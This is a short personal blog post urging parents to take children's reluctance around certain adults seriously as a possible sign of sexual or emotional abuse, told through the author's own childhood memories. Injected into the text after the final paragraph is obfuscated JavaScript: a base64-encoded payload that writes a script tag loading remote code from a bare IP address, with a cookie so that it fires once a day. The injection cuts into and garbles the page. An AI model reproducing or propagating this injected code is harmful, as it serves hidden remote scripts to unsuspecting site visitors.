By: Bonnie
Some children are smarter than they are given credit for. They need your help. I have found that an adult can learn more from a child than from a professional. The reason is simple: There is an old saying, “There is none so blind as the one who will not see.” I would change that to: “There is no one so deaf as those who don’t want to hear.”
When a child does NOT want to be around a “particular” adult, your child is GIVING YOU SIGNS. This could be sexual abuse or emotional abuse. These signs should be looked into and not passed off as growing up.
I can remember a particular family we would go visit, and I would become disgusted at the idea of going to their house. I would protest with words of: “I don’t want to go to their house anymore.” “Why do they have to come visit here?” “I don’t like having them in our house.” Each time the same concerns would race through my mind in silence. “Will I have to kiss them?” “Why do they want to touch me in the wrong way?” These were the thoughts that raged silently within me, I said nothing further. My family never knew why until 30 years later. It was my silent secret. It’s the desperate need to be heard.
The moral: When your children give these signs, listen and look there could be a problem. Most families in those days NEVER SUSPECTED that sexual abuse could come from their friends, or any trusted adult. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
Listen to Your Children
June 9, 2013